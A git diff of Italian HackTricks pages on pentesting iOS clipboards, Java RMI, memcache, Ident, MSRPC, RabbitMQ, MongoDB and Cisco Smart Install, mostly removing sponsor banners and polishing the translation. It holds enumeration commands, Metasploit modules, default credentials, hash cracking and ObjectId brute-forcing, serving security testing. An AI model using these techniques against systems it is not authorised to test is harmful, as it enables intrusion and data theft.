- **Appunti personalizzati / nominati**: Questi sono specificamente per la condivisione dei dati **all'interno di un'app o con un'altra app** che condivide lo stesso ID team, e non sono progettati per persistere oltre la vita del processo dell'applicazione che li crea, seguendo le modifiche introdotte in iOS 10.
**Considerazioni sulla sicurezza** giocano un ruolo significativo quando si utilizzano le clipboard. Ad esempio:
**Considerazioni sulla sicurezza** giocano un ruolo significativo quando si utilizzano gli appunti. Ad esempio:
- Non esiste un meccanismo per gli utenti per gestire le autorizzazioni delle app per accedere alla **clipboard**.
- Per mitigare il rischio di monitoraggio non autorizzato in background della clipboard, l'accesso è limitato a quando l'applicazione è in primo piano (da iOS 9).
- L'uso di clipboard denominate persistenti è sconsigliato a favore di contenitori condivisi a causa di preoccupazioni sulla privacy.
- La funzionalità **Universal Clipboard** introdotta con iOS 10, che consente di condividere contenuti tra dispositivi tramite la clipboard generale, può essere gestita dagli sviluppatori per impostare la scadenza dei dati e disabilitare il trasferimento automatico dei contenuti.
- Non esiste un meccanismo per gli utenti per gestire le autorizzazioni delle app per accedere agli **appunti**.
- Per mitigare il rischio di monitoraggio non autorizzato in background degli appunti, l'accesso è limitato a quando l'applicazione è in primo piano (da iOS 9).
- L'uso di appunti nominati persistenti è sconsigliato a favore di contenitori condivisi a causa di preoccupazioni sulla privacy.
- La funzionalità **Universal Clipboard** introdotta con iOS 10, che consente di condividere contenuti tra dispositivi tramite gli appunti generali, può essere gestita dagli sviluppatori per impostare la scadenza dei dati e disabilitare il trasferimento automatico dei contenuti.
Assicurarsi che **le informazioni sensibili non siano memorizzate involontariamente** sulla clipboard globale è cruciale. Inoltre, le applicazioni dovrebbero essere progettate per prevenire l'uso improprio dei dati della clipboard globale per azioni non intenzionali, e si incoraggia gli sviluppatori a implementare misure per prevenire la copia di informazioni sensibili negli appunti.
Assicurarsi che **le informazioni sensibili non siano memorizzate involontariamente** negli appunti globali è cruciale. Inoltre, le applicazioni dovrebbero essere progettate per prevenire l'uso improprio dei dati degli appunti globali per azioni non intenzionali, e gli sviluppatori sono incoraggiati a implementare misure per prevenire la copia di informazioni sensibili negli appunti.
### Analisi Statica
Per l'analisi statica, cerca nel codice sorgente o nel binario:
- `generalPasteboard` per identificare l'uso della **clipboard generale a livello di sistema**.
- `pasteboardWithName:create:` e `pasteboardWithUniqueName` per creare **clipboard personalizzate**. Verifica se la persistenza è abilitata, anche se questo è deprecato.
- `generalPasteboard` per identificare l'uso degli **appunti generali a livello di sistema**.
- `pasteboardWithName:create:` e `pasteboardWithUniqueName` per creare **appunti personalizzati**. Verifica se la persistenza è abilitata, anche se questo è deprecato.
### Analisi Dinamica
@ -35,13 +31,13 @@ L'analisi dinamica comporta il hooking o il tracciamento di metodi specifici:
Dettagli chiave da monitorare includono:
- **Nomi della clipboard** e **contenuti** (ad esempio, controllare stringhe, URL, immagini).
- **Nomi degli appunti** e **contenuti** (ad esempio, controllare stringhe, URL, immagini).
- **Numero di elementi** e **tipi di dati** presenti, sfruttando controlli sui tipi di dati standard e personalizzati.
- **Opzioni di scadenza e solo locali** ispezionando il metodo `setItems:options:`.
Un esempio di utilizzo di uno strumento di monitoraggio è il **monitor della clipboard di objection**, che interroga la generalPasteboard ogni 5 secondi per rilevare cambiamenti e restituisce i nuovi dati.
Un esempio di utilizzo di uno strumento di monitoraggio è il **monitor degli appunti di objection**, che interroga il generalPasteboard ogni 5 secondi per rilevare cambiamenti e restituisce i nuovi dati.
Ecco un semplice esempio di script JavaScript, ispirato all'approccio di objection, per leggere e registrare le modifiche dalla clipboard ogni 5 secondi:
Ecco un semplice esempio di script JavaScript, ispirato all'approccio di objection, per leggere e registrare le modifiche dagli appunti ogni 5 secondi:
```javascript
const UIPasteboard = ObjC.classes.UIPasteboard
const Pasteboard = UIPasteboard.generalPasteboard()
@ -78,8 +74,5 @@ console.log(items)
- [https://hackmd.io/@robihamanto/owasp-robi](https://hackmd.io/@robihamanto/owasp-robi)
- [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/)
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,17 +2,9 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi) per costruire e **automatizzare flussi di lavoro** alimentati dagli **strumenti** della comunità **più avanzati** al mondo.\
Accedi oggi:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}
## Informazioni di base
_L'invocazione remota dei metodi Java_, o _Java RMI_, è un meccanismo _RPC_ orientato agli oggetti che consente a un oggetto situato in una _macchina virtuale Java_ di chiamare metodi su un oggetto situato in un'altra _macchina virtuale Java_. Questo consente agli sviluppatori di scrivere applicazioni distribuite utilizzando un paradigma orientato agli oggetti. Un'introduzione breve a _Java RMI_ da una prospettiva offensiva può essere trovata in [questa talk blackhat](https://youtu.be/t_aw1mDNhzI?t=202).
_Java Remote Method Invocation_, o _Java RMI_, è un meccanismo _RPC_ orientato agli oggetti che consente a un oggetto situato in una _Java virtual machine_ di chiamare metodi su un oggetto situato in un'altra _Java virtual machine_. Questo consente agli sviluppatori di scrivere applicazioni distribuite utilizzando un paradigma orientato agli oggetti. Un'introduzione breve a _Java RMI_ da una prospettiva offensiva può essere trovata in [this blackhat talk](https://youtu.be/t_aw1mDNhzI?t=202).
**Porta predefinita:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
```
@ -33,9 +25,9 @@ Per dirla in termini semplici, _Java RMI_ consente a uno sviluppatore di rendere
1. Per inviare una chiamata di metodo tramite _Java RMI_, i client devono conoscere l'indirizzo IP, la porta in ascolto, la classe o interfaccia implementata e l'`ObjID` dell'oggetto target (l'`ObjID` è un identificatore unico e casuale che viene creato quando l'oggetto viene reso disponibile sulla rete. È necessario perché _Java RMI_ consente a più oggetti di ascoltare sulla stessa porta _TCP_).
2. I client remoti possono allocare risorse sul server invocando metodi sull'oggetto esposto. La _Java virtual machine_ deve tenere traccia di quali di queste risorse sono ancora in uso e quali possono essere raccolte come spazzatura.
La prima sfida è risolta dal _RMI registry_, che è fondamentalmente un servizio di denominazione per _Java RMI_. Il _RMI registry_ stesso è anche un _RMI service_, ma l'interfaccia implementata e l'`ObjID` sono fissi e noti a tutti i client _RMI_. Questo consente ai client _RMI_ di consumare il _RMI registry_ semplicemente conoscendo la corrispondente porta _TCP_.
La prima sfida è risolta dal _RMI registry_, che è fondamentalmente un servizio di denominazione per _Java RMI_. Il _RMI registry_ stesso è anche un _servizio RMI_, ma l'interfaccia implementata e l'`ObjID` sono fissi e conosciuti da tutti i client _RMI_. Questo consente ai client _RMI_ di consumare il _RMI registry_ semplicemente conoscendo la corrispondente porta _TCP_.
Quando gli sviluppatori vogliono rendere i loro _oggetti Java_ disponibili all'interno della rete, di solito li associano a un _RMI registry_. Il _registry_ memorizza tutte le informazioni necessarie per connettersi all'oggetto (indirizzo IP, porta in ascolto, classe o interfaccia implementata e valore `ObjID`) e le rende disponibili sotto un nome leggibile dall'uomo (il _bound name_). I client che vogliono consumare il _RMI service_ chiedono al _RMI registry_ il corrispondente _bound name_ e il registry restituisce tutte le informazioni necessarie per connettersi. Pertanto, la situazione è fondamentalmente la stessa di un normale servizio _DNS_. Il seguente elenco mostra un piccolo esempio:
Quando gli sviluppatori vogliono rendere i loro _oggetti Java_ disponibili all'interno della rete, di solito li associano a un _RMI registry_. Il _registry_ memorizza tutte le informazioni necessarie per connettersi all'oggetto (indirizzo IP, porta in ascolto, classe o interfaccia implementata e valore `ObjID`) e le rende disponibili sotto un nome leggibile dall'uomo (il _bound name_). I client che vogliono consumare il _servizio RMI_ chiedono al _RMI registry_ il corrispondente _bound name_ e il registry restituisce tutte le informazioni necessarie per connettersi. Pertanto, la situazione è fondamentalmente la stessa di un normale servizio _DNS_. Il seguente elenco mostra un piccolo esempio:
```java
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
@ -131,7 +123,7 @@ $ rmg enum 172.17.0.2 9010
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
[+] --> Client codebase enabled - Configuration Status: Non Default
```
L'output dell'azione di enumerazione è spiegato in maggiore dettaglio nelle [pagine di documentazione](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) del progetto. A seconda dell'esito, dovresti cercare di verificare le vulnerabilità identificate.
L'output dell'azione di enumerazione è spiegato in maggiore dettaglio nelle [pagine di documentazione](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) del progetto. A seconda del risultato, dovresti cercare di verificare le vulnerabilità identificate.
I valori `ObjID` visualizzati da _remote-method-guesser_ possono essere utilizzati per determinare il tempo di attività del servizio. Questo può consentire di identificare altre vulnerabilità:
```
@ -217,7 +209,7 @@ Oltre a indovinare, dovresti anche cercare nei motori di ricerca o su _GitHub_ p
## Interfacce Conosciute
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) contrassegna classi o interfacce come `known` se sono elencate nel database interno dello strumento di servizi _RMI_ conosciuti. In questi casi puoi usare l'azione `known` per ottenere maggiori informazioni sul corrispondente servizio _RMI_:
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) contrassegna classi o interfacce come `known` se sono elencate nel database interno dello strumento dei _RMI services_ conosciuti. In questi casi puoi usare l'azione `known` per ottenere maggiori informazioni sul corrispondente _RMI service_:
```
$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
@ -301,12 +293,4 @@ Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}
```
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi) per costruire e **automatizzare flussi di lavoro** facilmente, alimentati dagli **strumenti** della comunità **più avanzati** al mondo.\
Ottieni accesso oggi:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,9 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Commands Cheat-Sheet
@ -17,27 +14,27 @@ Purtroppo la descrizione della sintassi non è molto chiara e un semplice comand
| Command | Description | Example |
| -------------------- | --------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------- |
| get | Legge un valore | `get mykey` |
| set | Imposta una chiave incondizionatamente | <p><code>set mykey &#x3C;flags> &#x3C;ttl> &#x3C;size></code><br><br>&#x3C;p>Assicurati di usare \r\n come interruzioni di riga quando usi strumenti CLI Unix. Ad esempio&#x3C;/p> <code>printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211</code></p> |
| add | Aggiunge una nuova chiave | `add newkey 0 60 5` |
| replace | Sovrascrive una chiave esistente | `replace key 0 60 5` |
| append | Aggiunge dati a una chiave esistente | `append key 0 60 15` |
| prepend | Prepend dati a una chiave esistente | `prepend key 0 60 15` |
| incr | Incrementa il valore numerico della chiave di un numero dato | `incr mykey 2` |
| decr | Decrementa il valore numerico della chiave di un numero dato | `decr mykey 5` |
| delete | Elimina una chiave esistente | `delete mykey` |
| flush_all | Invalida immediatamente tutti gli elementi | `flush_all` |
| flush_all | Invalida tutti gli elementi in n secondi | `flush_all 900` |
| stats | Stampa statistiche generali | `stats` |
| | Stampa statistiche di memoria | `stats slabs` |
| | Stampa statistiche di allocazione di livello superiore | `stats malloc` |
| | Stampa informazioni sugli elementi | `stats items` |
| set | Imposta una chiave incondizionatamente | <p><code>set mykey &#x3C;flags> &#x3C;ttl> &#x3C;size></code><br><br>&#x3C;p>Assicurati di usare \r\n come interruzioni di riga quando usi strumenti CLI Unix. Ad esempio&#x3C;/p> <code>printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211</code></p> |
| add | Aggiunge una nuova chiave | `add newkey 0 60 5` |
| replace | Sovrascrive una chiave esistente | `replace key 0 60 5` |
| append | Aggiunge dati a una chiave esistente | `append key 0 60 15` |
| prepend | Prepend dati a una chiave esistente | `prepend key 0 60 15` |
| incr | Incrementa il valore numerico della chiave di un numero dato | `incr mykey 2` |
| decr | Decrementa il valore numerico della chiave di un numero dato | `decr mykey 5` |
| delete | Elimina una chiave esistente | `delete mykey` |
| flush_all | Invalida immediatamente tutti gli elementi | `flush_all` |
| flush_all | Invalida tutti gli elementi in n secondi | `flush_all 900` |
| stats | Stampa statistiche generali | `stats` |
| | Stampa statistiche di memoria | `stats slabs` |
| | Stampa statistiche di allocazione di livello superiore | `stats malloc` |
| | Stampa informazioni sugli elementi | `stats items` |
| | | `stats detail` |
| | | `stats sizes` |
| | Resetta i contatori delle statistiche | `stats reset` |
| | Resetta i contatori delle statistiche | `stats reset` |
| lru_crawler metadump | Dump (la maggior parte) dei metadati per (tutti) gli elementi nella cache | `lru_crawler metadump all` |
| version | Stampa la versione del server. | `version` |
| verbosity | Aumenta il livello di log | `verbosity` |
| quit | Termina la sessione | `quit` |
| version | Stampa la versione del server. | `version` |
| verbosity | Aumenta il livello di log | `verbosity` |
| quit | Termina la sessione | `quit` |
#### Traffic Statistics <a href="#traffic-statistics" id="traffic-statistics"></a>
@ -118,10 +115,6 @@ STAT items:2:age 1405
[...]
END
```
Questo aiuta almeno a vedere se vengono utilizzate delle chiavi. Per estrarre i nomi delle chiavi da uno script PHP che già esegue l'accesso a memcache, puoi utilizzare il codice PHP di [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html).
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
Questo aiuta almeno a vedere se vengono utilizzate delle chiavi. Per estrarre i nomi delle chiavi da uno script PHP che già accede a memcache, puoi utilizzare il codice PHP di [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,16 +2,9 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=113-pentesting-ident) per costruire e **automatizzare flussi di lavoro** alimentati dagli **strumenti** della comunità **più avanzati** al mondo.\
Accedi oggi:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=113-pentesting-ident" %}
## Informazioni di base
Il **Protocollo Ident** è utilizzato su Internet per associare una **connessione TCP** a un utente specifico. Originariamente progettato per aiutare nella **gestione della rete** e nella **sicurezza**, funziona consentendo a un server di interrogare un client sulla porta 113 per richiedere informazioni sull'utente di una particolare connessione TCP.
Il **Protocollo Ident** è utilizzato su **Internet** per associare una **connessione TCP** a un utente specifico. Originariamente progettato per aiutare nella **gestione della rete** e nella **sicurezza**, funziona consentendo a un server di interrogare un client sulla porta 113 per richiedere informazioni sull'utente di una particolare connessione TCP.
Tuttavia, a causa delle moderne preoccupazioni sulla privacy e del potenziale abuso, il suo utilizzo è diminuito poiché può rivelare involontariamente informazioni sugli utenti a parti non autorizzate. Si raccomandano misure di sicurezza avanzate, come connessioni crittografate e controlli di accesso rigorosi, per mitigare questi rischi.
@ -22,7 +15,7 @@ PORT STATE SERVICE
```
## **Enumerazione**
### **Manuale - Ottieni utente/Identifica il servizio**
### **Manuale - Ottenere utente/Identificare il servizio**
Se una macchina sta eseguendo il servizio ident e samba (445) e sei connesso a samba utilizzando la porta 43218. Puoi scoprire quale utente sta eseguendo il servizio samba facendo:
@ -69,17 +62,10 @@ ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
- `oident`
## Files
## File
identd.conf
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=113-pentesting-ident) per costruire e **automatizzare i flussi di lavoro** alimentati dagli **strumenti** della comunità **più avanzati** al mondo.\
Ottieni accesso oggi:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=113-pentesting-ident" %}
## HackTricks Comandi Automatici
```
Protocol_Name: Ident #Protocol Abbreviation if there is one.

View File

@ -2,24 +2,9 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
## Informazioni di base
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
**Hacking Insights**\
Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
**Real-Time Hack News**\
Rimani aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale
**Latest Announcements**\
Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
## Basic Information
Il protocollo Microsoft Remote Procedure Call (MSRPC), un modello client-server che consente a un programma di richiedere un servizio da un programma situato su un altro computer senza comprendere i dettagli della rete, è stato inizialmente derivato da software open-source e successivamente sviluppato e protetto da copyright da Microsoft.
Il protocollo Microsoft Remote Procedure Call (MSRPC), un modello client-server che consente a un programma di richiedere un servizio da un programma situato su un altro computer senza comprendere le specifiche della rete, è stato inizialmente derivato da software open-source e successivamente sviluppato e protetto da copyright da Microsoft.
Il mapper degli endpoint RPC può essere accessibile tramite la porta TCP e UDP 135, SMB su TCP 139 e 445 (con una sessione nulla o autenticata), e come servizio web sulla porta TCP 593.
```
@ -33,7 +18,7 @@ Iniziato dall'applicazione client, il processo MSRPC prevede la chiamata a una p
## **Identificazione dei servizi RPC esposti**
L'esposizione dei servizi RPC attraverso TCP, UDP, HTTP e SMB può essere determinata interrogando il servizio di localizzazione RPC e i singoli endpoint. Strumenti come rpcdump facilitano l'identificazione di servizi RPC unici, denotati da valori **IFID**, rivelando dettagli del servizio e binding di comunicazione:
L'esposizione dei servizi RPC su TCP, UDP, HTTP e SMB può essere determinata interrogando il servizio di localizzazione RPC e i singoli endpoint. Strumenti come rpcdump facilitano l'identificazione di servizi RPC unici, denotati da valori **IFID**, rivelando dettagli del servizio e binding di comunicazione:
```
D:\rpctools> rpcdump [-p port] <IP>
**IFID**: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0
@ -41,7 +26,7 @@ Annotation: Messenger Service
UUID: 00000000-0000-0000-0000-000000000000
Binding: ncadg_ip_udp:<IP>[1028]
```
L'accesso al servizio di localizzazione RPC è abilitato tramite protocolli specifici: ncacn_ip_tcp e ncadg_ip_udp per l'accesso tramite la porta 135, ncacn_np per le connessioni SMB e ncacn_http per la comunicazione RPC basata sul web. I seguenti comandi esemplificano l'utilizzo dei moduli di Metasploit per auditare e interagire con i servizi MSRPC, concentrandosi principalmente sulla porta 135:
L'accesso al servizio di localizzazione RPC è abilitato attraverso protocolli specifici: ncacn_ip_tcp e ncadg_ip_udp per l'accesso tramite la porta 135, ncacn_np per le connessioni SMB e ncacn_http per la comunicazione RPC basata sul web. I seguenti comandi esemplificano l'utilizzo dei moduli di Metasploit per auditare e interagire con i servizi MSRPC, concentrandosi principalmente sulla porta 135:
```bash
use auxiliary/scanner/dcerpc/endpoint_mapper
use auxiliary/scanner/dcerpc/hidden
@ -61,7 +46,7 @@ Tutte le opzioni tranne `tcp_dcerpc_auditor` sono specificamente progettate per
- **Descrizione**: interfaccia LSA Directory Services (DS), utilizzata per enumerare domini e relazioni di fiducia.
- **IFID**: 12345778-1234-abcd-ef00-0123456789ac
- **Named Pipe**: `\pipe\samr`
- **Descrizione**: interfaccia LSA SAMR, utilizzata per accedere agli elementi del database SAM pubblici (ad es., nomi utente) e per forzare le password degli utenti indipendentemente dalla politica di blocco dell'account.
- **Descrizione**: interfaccia LSA SAMR, utilizzata per accedere agli elementi del database SAM pubblici (ad es., nomi utente) e per forzare le password degli utenti indipendentemente dalla politica di blocco degli account.
- **IFID**: 1ff70682-0a51-30e8-076d-740be8cee98b
- **Named Pipe**: `\pipe\atsvc`
- **Descrizione**: pianificatore di attività, utilizzato per eseguire comandi da remoto.
@ -76,13 +61,13 @@ Tutte le opzioni tranne `tcp_dcerpc_auditor` sono specificamente progettate per
- **Descrizione**: gestore di controllo dei servizi e servizi server, utilizzati per avviare e fermare servizi da remoto ed eseguire comandi.
- **IFID**: 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57
- **Named Pipe**: `\pipe\epmapper`
- **Descrizione**: interfaccia DCOM, utilizzata per forzare le password e raccogliere informazioni tramite WM.
- **Descrizione**: interfaccia DCOM, utilizzata per il brute-force delle password e la raccolta di informazioni tramite WM.
### Identificazione degli indirizzi IP
Utilizzando [https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver), proveniente da [Airbus research](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/), è possibile abusare del metodo _**ServerAlive2**_ all'interno dell'interfaccia _**IOXIDResolver**_.
Questo metodo è stato utilizzato per ottenere informazioni sull'interfaccia come indirizzo **IPv6** dalla macchina HTB _APT_. Vedi [qui](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) per il writeup di 0xdf APT, che include un metodo alternativo utilizzando rpcmap.py da [Impacket](https://github.com/SecureAuthCorp/impacket/) con _stringbinding_ (vedi sopra).
Questo metodo è stato utilizzato per ottenere informazioni sull'interfaccia come indirizzo **IPv6** dalla macchina HTB _APT_. Vedi [qui](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) per il writeup di 0xdf APT, include un metodo alternativo utilizzando rpcmap.py da [Impacket](https://github.com/SecureAuthCorp/impacket/) con _stringbinding_ (vedi sopra).
### Esecuzione di un RCE con credenziali valide
@ -104,19 +89,4 @@ Il **rpcdump.exe** da [rpctools](https://resources.oreilly.com/examples/97805965
- [https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/](https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/)
- [https://0xffsec.com/handbook/services/msrpc/](https://0xffsec.com/handbook/services/msrpc/)
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
**Hacking Insights**\
Interagisci con contenuti che approfondiscono il brivido e le sfide dell'hacking
**Notizie di hacking in tempo reale**\
Rimani aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale
**Ultimi annunci**\
Rimani informato con i nuovi bug bounty in arrivo e aggiornamenti cruciali della piattaforma
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,11 +2,7 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/i3.png" alt=""><figcaption></figcaption></figure>
**Bug bounty tip**: **iscriviti** a **Intigriti**, una premium **bug bounty platform creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare bounty fino a **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## Informazioni di base
@ -18,14 +14,14 @@ La pagina principale dovrebbe apparire così:
## Enumerazione
Le credenziali predefinite sono "_**guest**_":"_**guest**_". Se non funzionano, puoi provare a [**forzare l'accesso**](../generic-hacking/brute-force.md#http-post-form).
Le credenziali predefinite sono "_**guest**_":"_**guest**_". Se non funzionano, puoi provare a [**forzare il login**](../generic-hacking/brute-force.md#http-post-form).
Per avviare manualmente questo modulo devi eseguire:
```
rabbitmq-plugins enable rabbitmq_management
service rabbitmq-server restart
```
Una volta che hai effettuato l'autenticazione correttamente, vedrai la console di amministrazione:
Una volta che hai effettuato correttamente l'autenticazione, vedrai la console di amministrazione:
![](<../images/image (441).png>)
@ -51,10 +47,6 @@ hashcat -m 1420 --hex-salt hash.txt wordlist
- `port:15672 http`
<figure><img src="../images/i3.png" alt=""><figcaption></figcaption></figure>
**Bug bounty tip**: **iscriviti** a **Intigriti**, una premium **bug bounty platform creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare bounty fino a **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,22 +2,7 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug!
**Hacking Insights**\
Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
**Real-Time Hack News**\
Rimani aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale
**Latest Announcements**\
Rimani informato sulle nuove ricompense per bug in arrivo e aggiornamenti cruciali della piattaforma
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
## Basic Information
## Informazioni di base
**MongoDB** è un sistema di gestione di database **open source** che utilizza un **modello di database orientato ai documenti** per gestire forme diverse di dati. Offre flessibilità e scalabilità per gestire dati non strutturati o semi-strutturati in applicazioni come analisi di big data e gestione dei contenuti. **Porta predefinita:** 27017, 27018
```
@ -80,11 +65,11 @@ Controlla dentro _/opt/bitnami/mongodb/mongodb.conf_ per sapere se sono necessar
grep "noauth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#" #Not needed
grep "auth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#\|noauth" #Not needed
```
## Previsione dell'Objectid Mongo
## Previsione dell'Objectid di Mongo
Esempio [da qui](https://techkranti.com/idor-through-mongodb-object-ids-prediction/).
Gli ID Object Mongo sono **stringhe esadecimali di 12 byte**:
Gli ID Object di Mongo sono **stringhe esadecimali di 12 byte**:
![http://techidiocy.com/_id-objectid-in-mongodb/](../images/id-and-ObjectIds-in-MongoDB.png)
@ -95,7 +80,7 @@ Ad esempio, ecco come possiamo analizzare un ID Object reale restituito da un'ap
3. 2500: ID del processo
4. 314019: Un contatore incrementale
Dei suddetti elementi, l'identificatore della macchina rimarrà lo stesso finché il database sta eseguendo la stessa macchina fisica/virtuale. L'ID del processo cambierà solo se il processo MongoDB viene riavviato. Il timestamp verrà aggiornato ogni secondo. L'unica sfida nel prevedere gli ID Object semplicemente incrementando i valori del contatore e del timestamp, è il fatto che Mongo DB genera ID Object e assegna ID Object a livello di sistema.
Dei suddetti elementi, l'identificatore della macchina rimarrà lo stesso finché il database sta eseguendo la stessa macchina fisica/virtuale. L'ID del processo cambierà solo se il processo MongoDB viene riavviato. Il timestamp verrà aggiornato ogni secondo. L'unica sfida nel prevedere gli ID Object semplicemente incrementando i valori del contatore e del timestamp, è il fatto che Mongo DB genera gli ID Object e assegna gli ID Object a livello di sistema.
Lo strumento [https://github.com/andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict), dato un ID Object di partenza (puoi creare un account e ottenere un ID di partenza), restituisce circa 1000 probabili ID Object che potrebbero essere stati assegnati ai prossimi oggetti, quindi devi solo forzarli.
@ -105,19 +90,4 @@ Se sei root puoi **modificare** il file **mongodb.conf** in modo che non siano n
---
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
**Approfondimenti sul hacking**\
Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
**Notizie di hacking in tempo reale**\
Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale
**Ultimi annunci**\
Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,13 +2,10 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Informazioni di base
**Cisco Smart Install** è un sistema progettato da Cisco per automatizzare la configurazione iniziale e il caricamento di un'immagine del sistema operativo per nuovo hardware Cisco. **Per impostazione predefinita, Cisco Smart Install è attivo sull'hardware Cisco e utilizza il protocollo di trasporto, TCP, con il numero di porta 4786.**
